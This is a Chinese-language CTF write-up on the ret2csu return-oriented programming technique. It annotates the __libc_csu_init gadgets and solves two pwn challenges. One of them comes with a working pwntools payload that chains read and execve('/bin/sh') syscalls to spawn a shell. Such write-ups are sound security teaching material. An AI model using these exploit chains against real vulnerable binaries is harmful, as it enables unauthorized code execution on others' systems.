一個比較進階的rop利用方式。
Why ret to csu?
當程序給的gadget不夠,或者輸入長度受限時,可以考慮利用csu中的眾多gadget以及一個call指令來劫持控制流。
__libc_csu_init
匯編源碼:
.text:0000000000400790 ; void __fastcall _libc_csu_init(unsigned int, __int64, __int64)
.text:0000000000400790 public __libc_csu_init
.text:0000000000400790 __libc_csu_init proc near ; DATA XREF: _start+16↑o
.text:0000000000400790 ; __unwind {
.text:0000000000400790 push r15
.text:0000000000400792 push r14
.text:0000000000400794 mov r15d, edi
.text:0000000000400797 push r13
.text:0000000000400799 push r12
.text:000000000040079B lea r12, __frame_dummy_init_array_entry
.text:00000000004007A2 push rbp
.text:00000000004007A3 lea rbp, __do_global_dtors_aux_fini_array_entry
.text:00000000004007AA push rbx
.text:00000000004007AB mov r14, rsi
.text:00000000004007AE mov r13, rdx
.text:00000000004007B1 sub rbp, r12
.text:00000000004007B4 sub rsp, 8
.text:00000000004007B8 sar rbp, 3
.text:00000000004007BC call _init_proc
.text:00000000004007C1 test rbp, rbp
.text:00000000004007C4 jz short loc_4007E6
.text:00000000004007C6 xor ebx, ebx
.text:00000000004007C8 nop dword ptr [rax+rax+00000000h]
.text:00000000004007D0
.text:00000000004007D0 loc_4007D0: ; CODE XREF: __libc_csu_init+54↓j
.text:00000000004007D0 mov rdx, r13
.text:00000000004007D3 mov rsi, r14
.text:00000000004007D6 mov edi, r15d
.text:00000000004007D9 call ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]
.text:00000000004007DD add rbx, 1
.text:00000000004007E1 cmp rbx, rbp
.text:00000000004007E4 jnz short loc_4007D0
.text:00000000004007E6
.text:00000000004007E6 loc_4007E6: ; CODE XREF: __libc_csu_init+34↑j
.text:00000000004007E6 add rsp, 8
.text:00000000004007EA pop rbx
.text:00000000004007EB pop rbp
.text:00000000004007EC pop r12
.text:00000000004007EE pop r13
.text:00000000004007F0 pop r14
.text:00000000004007F2 pop r15
.text:00000000004007F4 retn
.text:00000000004007F4 ; } // starts at 400790
.text:00000000004007F4 __libc_csu_init endp
我們關注這兩段代碼,
下面的記作gadget1,上面的記作gadget2,因為我們會先執行下面的gadget。
先看gadget1:
第一個的 add rsp, 8
我們會直接略過(可以填充8個垃圾字符,也可以直接從0x40059A開始)
后面的6個pop就能控制對應的寄存器。
結合gadget2來看,
- rbx:
很顯然直接置為0 - rbp:
為了滿足比較條件,防止jnz跳轉,我們將rbp置為1即可 - r12:
當我們把rbx置為0后,就是call [r12]
的調用,所以我們將r12設置為指向待執行函數地址值的地址即可(比如函數的got表)。這里要注意,是一個間接跳轉。
那么有時候我們不想call,僅僅只是為了傳參怎么辦呢?
我們可以調用_term_proc
這個"空函數"。
可以看到call了后對我們沒有任何影響。
關于找指向_term__proc地址值的地址的方法
- r13:
可以發現,經過gadget1+gadget2的作用,控制r13就是控制rdx - r14:同上,控制r14就是控制rsi
- r15:
這里要注意下,我們只能控制rdi的低32位,也就是edi,所以不能完全的控制rdi的值。不過,一般64位程序中,pop_edi_ret的gadget都是很好找的。 - 上述6個pop完了過后,填入gadget2的地址即可跳轉到gadget2繼續執行。
當然,如果并不需要控制寄存器,例如:我們執行完gadget1跳到gadget2然后"滑下來"又到了gadget1,此時我們就直接填充7*8 = 56
個垃圾字符就行,到達ret時再劫持控制流。
幾道題目
[VNCTF2022公開賽]clear_got
題目
很棒的一道題。
程序很短,
這里把got表清空了,而且程序本身的gadget也不大夠,可以用ret2csu來打。
由于ret2csu要執行函數需要一個[r12]
,如果有got表的話直接填入got表,但是這里memset了,就只能考慮程序給的系統調用了。
ret2syscall那里也提到過,可以通過read成功讀取的字節數來控制rax。
所以我們第一遍ret2csu先布置好read(0,bss,59)
的參數,在bss段寫入"/bin/sh\x00",p64(syscall),然后湊夠59字節。(64為execve系統調用號為59)
然后再打一遍ret2csu,布置好execve("/bin/sh\x00",0,0)
的參數,用[r12]
來調用syscall。
有些細節也要注意:
- 第一次打完csu的gadget2跳到gadget1時,直接布置execve的參數,不然后面的payload長度會超過限制。
- 我們第一次csu不需要call調用函數,所以要找一個"空函數",一般選擇
_term_proc
,但是要注意到是call [r12]
,所以要找一個指向_term_proc
的地址。gdb - 第一遍布置完read的參數后我們緊接著布置了第二次,布置完過后才調用syscall(直接控制流調用),經嘗試發現,這個syscall的調用不能放在兩次gadget的中間。盡可能保證前面參數布置的流暢性。
- 為什么我們在傳完"/bin/sh\x00"后還要傳一個p64(system)?還是一樣的,
call [r12]
,所以得通過寫在bss段上來造一個間接跳轉。
具體看代碼吧:
syscall = 0x000000000040077Ecsu_g1 = 0x4007EA
csu_g2 = 0x4007D0
bss = 0x601060
p_termproc = 0x600e50pl = b'a'*0x60 + b'b'*0x8
# read(0,bss,59) rdi:0 rsi:bss rdx:59
pl += p64(csu_g1) + p64(0) + p64(1) + p64(p_termproc) + p64(59) + p64(bss) + p64(0)
pl += p64(csu_g2)
pl += b'a'*8 # ignore : add rsp, 8
# execve("/bin/sh",0,0)
pl += p64(0) + p64(1) + p64(bss+8)
pl += p64(0) + p64(0)
pl += p64(bss) + p64(syscall) + p64(csu_g2)
sa("///\n",pl)
pl = b'/bin/sh\x00' + p64(syscall)
pl = pl.ljust(59,b"\x00")
sl(pl)p.interactive()
ciscn_2019_es_7
題目
在學SROP的時候也是用的這道題,其實用ret2csu也比較好做,只是這里跟上面那道題又有點區別。
vuln就兩個系統調用
而且程序里面給了mov eax,0F;和mov eax 3B;的gadget,所以SROP和execve都能直接打。
這題沒辦法寫在bss段,只能寫在題目給的棧里面。
根據多打印的信息泄露棧地址,從而得到輸入的"/bin/sh"的地址,然后用csu簡單布置下參數就行。
這道題的話,csu僅僅做的就是一個把rdx和rsi置0的作用,如果想利用call [r12]
直接調用syscall好像不行?
嘗試了下沒打通。
注釋掉的就是想用上一題的打法來打,不知道為什么打不通。
當然,這題有pop_rdi的gadget,輸入也足夠,所以控制好execve后兩個參數后將csu_gadget1填充56個垃圾字符,再劫持控制流打正常的ret2syscall就行。